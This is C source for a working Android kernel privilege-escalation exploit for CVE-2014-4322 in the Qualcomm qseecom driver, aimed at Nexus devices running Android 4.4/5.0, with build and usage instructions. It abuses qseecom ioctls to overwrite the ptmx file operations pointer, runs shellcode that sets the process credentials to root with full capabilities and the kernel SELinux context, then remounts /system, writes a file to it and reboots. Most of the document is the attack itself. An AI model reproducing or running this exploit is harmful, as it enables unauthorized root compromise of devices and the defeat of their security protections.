/*
 *              CVE-2014-4322 exploit  for Nexus Android 4.4/5.0
 *
 *              author:  retme   retme7@gmail.com
 *              website: retme.net
 *
 *				 The exploit must be excuted as system privilege and  several specific  SELinux  context.
 *				 If exploit successed,you will gain root privilege and "kernel" SELinux  context
 *
 *              bug info:
 *              	https://www.codeaurora.org/projects/security-advisories/memory-corruption-qseecom-driver-cve-2014-4322
 *
 *				 how to build:
 *
			 				    create an  Android.mk as follow:

									include $(CLEAR_VARS)
									include $(CLEAR_VARS)
									LOCAL_SRC_FILES:= ./msm.c \
																				 ./shellcode.S

									LOCAL_MODULE:= exploit
									#LOCAL_C_INCLUDES += $(common_includes)
									LOCAL_CPPFLAGS += -DDEBUG
									LOCAL_CFLAGS += -DDEBUG
									LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog

									include $(BUILD_EXECUTABLE)
									include $(BUILD_EXECUTABLE)

								create Application.mk as follow:

									APP_ABI := armeabi
									APP_PLATFORM := android-8
									APP_PIE:= true

								use  ndk-build to build the project

				usage:

							 run  exploit as  system privilege,with SELinux context  such as "keystore","vold","drmserver","mediaserver","surfaceflinger"
 *
 *							 If exploit successed,you will gain root privilege and "kernel" SELinux  context
 *
 *
 *                                           */
//=========================================msm.c=============================================
#include <string.h>
#include <jni.h>
#include <android/log.h>
#include <pthread.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <asm/ptrace.h>
#include <asm/user.h>
#include <asm/ptrace.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <dlfcn.h>
#include <dirent.h>
#include <unistd.h>
#include <linux/elf.h>
#include <linux/reboot.h>
#include <errno.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <linux/ptrace.h>
#include <linux/prctl.h>
#include <sys/system_properties.h>
#include <errno.h>
#include <termios.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <errno.h>
#include <linux/ion.h>

#include "../kernel.h"
#include "qseecom.h"

//4.4.4 OFW
#define PTMX_FOPS 0xc1235dd0

//4.4.2   CFW(for debug)
//#define PTMX_FOPS 0xc1334e00
//fnPrintk printk = 0xc0a0113c;

//Nexus Android 5.0  OFW
#define PTMX_DEVICE "/dev/ptmx"
//#define PTMX_FOPS 0xc1236cd8
//fnPrintk printk = 0xc0a21e78;

int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux);

int  kmemcmp(char *a1, char *a2, int len)
{
  int v3; // r3@2
  int v4; // r4@3
  int v5; // r5@3
  int result; // r0@4

  if ( len )
  {
    v3 = 0;
    while ( 1 )
    {
      v4 = a1[v3];
      v5 = a2[v3];
      if ( v4 != v5 )
        break;
      if ( a1[v3] )
      {
        ++v3;
        if ( len != v3 )
          continue;
      }
      goto LABEL_7;
    }
    result = v4 - v5;
  }
  else
  {
LABEL_7:
    result = 0;
  }
  return result;
}

int g_pid = 0;
int g_tgid = 0;



int open_ion(){
	int fd = open("/dev/ion",O_RDONLY);
    if (fd<0){
    	perror("open");
    }
    printf("ion fd  %d\n",fd);
    return fd;
}


// http://lwn.net/Articles/480055/

/*
 * struct ion_allocation_data {
	size_t len;
	size_t align;
	unsigned int heap_mask;
	unsigned int flags;
	struct ion_handle *handle;
};
 *
 *
 * */
#define ION_FLAG_SECURE (1<<31)

int alloc_ion_memory(int client_fd,int size,struct ion_handle** pphandle){
	int ret = -1;

	struct ion_allocation_data data;

// ION_FLAG_CACHED
	data.len = size;
	data.align = size;
	data.flags = ION_HEAP_TYPE_CARVEOUT ;
	//data.heap_mask = ION_HEAP_TYPE_CARVEOUT;
	//data.handle = handle;

	ret = ioctl(client_fd, ION_IOC_ALLOC, &data);
	if (ret<0){
		perror("ION_IOC_ALLOC");
	}
	*pphandle = data.handle;
	return ret;

}
/*
    struct ion_fd_data {
        struct ion_handle *handle;
        int fd;
   }
   */
int share_ion_memory(int client_fd,struct ion_handle* handle){
	struct ion_fd_data data;
	data.handle = handle;
	data.fd = -1;

	int ret = ioctl(client_fd, ION_IOC_SHARE, &data);


	return data.fd;

}




int obtain_dma_buf_fd(int size){
		int fd_device = open_ion();
		int dmf_fd = -1;

		struct ion_handle* handle;
		int ret = alloc_ion_memory(fd_device,size,&handle);
		if (ret<0){
			perror("alloc_ion_memory");
		}

		dmf_fd = share_ion_memory(fd_device,handle);

		if (dmf_fd<0){
			perror("share_ion_memory");
		}
		return dmf_fd;
}


void* fd_to_mmap(int fd,int size){


    void* seg_addr = mmap(0,
    					size	,
    					PROT_READ | PROT_WRITE,
    					MAP_SHARED,
                          fd,
                          0);

    if(seg_addr == MAP_FAILED){
    	perror("fd_to_map");
    }

	return seg_addr;
}



//c0a0113c T printk
void sayhello(){
	fnPrintk printk = 0xc0a0113c;
	printk("hell0 shellocde");
	return;
}

void shell_code2();

static int
run_obtain_root_privilege()
{
  int fd;
  int ret;

  fd = open(PTMX_DEVICE, O_WRONLY);
  if(fd<=0){perror("ptmx");return -1;}
  ret = fsync(fd);
  close(fd);

  return ret;
}


int main(int argc, char *argv[]){

        printf("mypid %d\n",getpid());
        int ret  = -1;

                        int  fd = open("/dev/qseecom", 0);
                        if (fd<0){
                        	perror("open");
                        	exit(-1);
                        }

                        void* abuseBuff = malloc(400);
                        memset(abuseBuff,0,400);

                        int* intArr = (int*)abuseBuff;
                        int j = 0;

                        for(j=0;j<24;j++){

                                        intArr[j] = 0x1;

                        }


                        struct qseecom_send_modfd_cmd_req ioctlBuff;

                        prctl(PR_SET_NAME, "GodFather", 0, 0, 0);

                       // if(0==fork()){

                            g_pid = getpid();
                            g_tgid = g_pid;
                            prctl(PR_SET_NAME, "ihoo.darkytools", 0, 0, 0);

                            //QSEECOM_IOCTL_SET_MEM_PARAM_REQ
                            struct qseecom_set_sb_mem_param_req req;
                            req.ifd_data_fd = obtain_dma_buf_fd(8192);

                            req.virt_sb_base = abuseBuff;
                            req.sb_len = 8192;

                            ret = ioctl(fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &req);
                            printf("QSEECOM_IOCTL_SET_MEM_PARAM_REQ return 0x%x \n",ret);

                            ioctlBuff.cmd_req_buf = abuseBuff;
                            ioctlBuff.cmd_req_len = 400;
                            ioctlBuff.resp_buf = abuseBuff;
                            ioctlBuff.resp_len = 400;
                            int i = 0;
                            for (i = 0;i<4;i++){
                            	ioctlBuff.ifd_data[i].fd = 0;
                            	ioctlBuff.ifd_data[i].cmd_buf_offset =0;
                            }
                            ioctlBuff.ifd_data[0].fd = req.ifd_data_fd;
                            ioctlBuff.ifd_data[0].cmd_buf_offset =   0;//(int)(0xc03f0ab4 + 8) - (int)abuseBuff;


                                printf("QSEECOM_IOCTL_SEND_CMD_REQ");
                                ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff);


                                printf("return %p %p\n",intArr[0],intArr[1]);
                                perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n");
                                printf("ioctl return 0x%x \n",ret);

                                //*(int*)intArr[0] = 0x0;
                                void* addr = mmap(intArr[0],4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,-1,0);
                                printf("mmap return %p \n",addr);

                                *(int*)addr =  0xE3500000;
                                *((int*)((int)addr+4)) = 0xe1a0f00e;
                                memcpy(addr,shell_code2,400);

                                int* arr = (int*)addr;
                                for(i=0;i<10;i++){
                                	if(arr[i] == 0xeeeeeeee)
                                		arr[i] = (int)MyCommitCred;
                                	printf("%p\n",arr[i]);

                                }

                                //c1334e00 b ptmx_fops
                                ioctlBuff.ifd_data[0].cmd_buf_offset =   (int)(PTMX_FOPS + 14*4) - (int)abuseBuff;


                                printf("QSEECOM_IOCTL_SEND_CMD_REQ");
                                ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff);
                                printf("return %p %p\n",intArr[0],intArr[1]);
                                perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n");
                                printf("ioctl return 0x%x \n",ret);


                                run_obtain_root_privilege();

                                system("mount -o rw,remount /system");
                                system("echo root > /system/file.txt");
                                system("reboot");
                                //char * argv1[]={"sh",(char *)0};
                               //int result =  execv("/system/bin/sh", argv1);
                                //if(result){
                                 //               perror("execv");
                                //}

        return 0;


}





int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux)
{

        int v38; // [sp+0h] [bp-60h]@1
        int addrBase;
        char szName[16] = "ihoo.darkytools";
        int offset;
        mycred *my_cred;
        mycred *my_real_cred;
        struct task_security_struct * tsec;
        int ret = -1;

        int searchLenth;

        isSelinux = 1;
        //return 0;
        addrBase = *(int*)(((int)(&v38) & 0xFFFFE000) + 0xC);
        //return addrBase;
        if ( addrBase > 0xBFFFFFFF )
        {

          offset = 0;
          while ( 1 )
          {
            addrBase += 4;
            if ( !kmemcmp(addrBase, szName, 16) )
              break;
            ++offset;
            if ( offset == 0x600 )
            {
              return 18;
            }
          }
        }
        else
                return 17;

        my_cred = *(int*)(addrBase -8);
        my_real_cred = *(int*)(addrBase -8 - 4);


        searchLenth = 0;
        while(searchLenth<0x20){


                        if(!my_cred || !my_real_cred
                                        || my_cred<0xBFFFFFFF || my_real_cred<0xBFFFFFFF
                                       ){
                                        //2.6?

                                        addrBase-=4;


                                        my_cred = *(int*)(addrBase-8 );
                                        my_real_cred = *(int*)(addrBase -8-4);

                        }
                        else
                                break;

                        searchLenth++;
        }

        if(searchLenth == 0x20)
                return 0X20;
                // fuck!! where is my cred???


        my_cred->uid = 0;
        my_cred->gid = 0;
        my_cred->suid = 0;
        my_cred->sgid = 0;
        my_cred->egid = 0;
        my_cred->euid = 0;
        my_cred->fsgid = 0;
        my_cred->fsuid = 0;
        my_cred->securebits=0;
        my_cred->cap_bset.cap[0] = -1;
        my_cred->cap_bset.cap[1] = -1;
        my_cred->cap_inheritable.cap[0] = -1;
        my_cred->cap_inheritable.cap[1] = -1;
        my_cred->cap_permitted.cap[0] = -1;
        my_cred->cap_permitted.cap[1] = -1;
        my_cred->cap_effective.cap[0] = -1;
        my_cred->cap_effective.cap[1] = -1;

        my_real_cred->uid = 0;
        my_real_cred->gid = 0;
        my_real_cred->suid = 0;
        my_real_cred->sgid = 0;
        my_real_cred->egid = 0;
        my_real_cred->euid = 0;
        my_real_cred->fsgid = 0;
        my_real_cred->fsuid = 0;
        my_real_cred->securebits=0;
        my_real_cred->cap_bset.cap[0] = -1;
        my_real_cred->cap_bset.cap[1] = -1;
        my_real_cred->cap_inheritable.cap[0] = -1;
        my_real_cred->cap_inheritable.cap[1] = -1;
        my_real_cred->cap_permitted.cap[0] = -1;
        my_real_cred->cap_permitted.cap[1] = -1;
        my_real_cred->cap_effective.cap[0] = -1;
        my_real_cred->cap_effective.cap[1] = -1;


        if(isSelinux){

                        tsec = my_cred->security;

                        if(tsec && tsec > 0xBFFFFFFF){
                                        tsec->sid = 1;
                                        tsec->exec_sid = 1;

                                        ret = 15;
                        }
                        else {
                                        tsec = (struct task_security_struct*)(*(int*)(0x10 +  (int)&my_cred->security));

                                        if(tsec && tsec > 0xBFFFFFFF){
                                                                            tsec->sid = 1;
                                                                            tsec->exec_sid = 1;

                                                                            ret = 15;
                                                            }
                        }


                        tsec = my_real_cred->security;

                        if(tsec && tsec > 0xBFFFFFFF){
                                        tsec->sid = 1;
                                        tsec->exec_sid = 1;

                                        ret = 15;
                        }else {
                                        tsec = (struct task_security_struct*)(*(int*)(0x10 +  (int)&my_real_cred->security));

                                        if(tsec && tsec > 0xBFFFFFFF){
                                                                            tsec->sid = 1;
                                                                            tsec->exec_sid = 1;

                                                                            ret = 15;
                                                            }
                        }



        }
        else{
                        ret = 16;
        }
        //printk("return %d",ret);
        return ret;
}
//=========================================msm.c   end=============================================
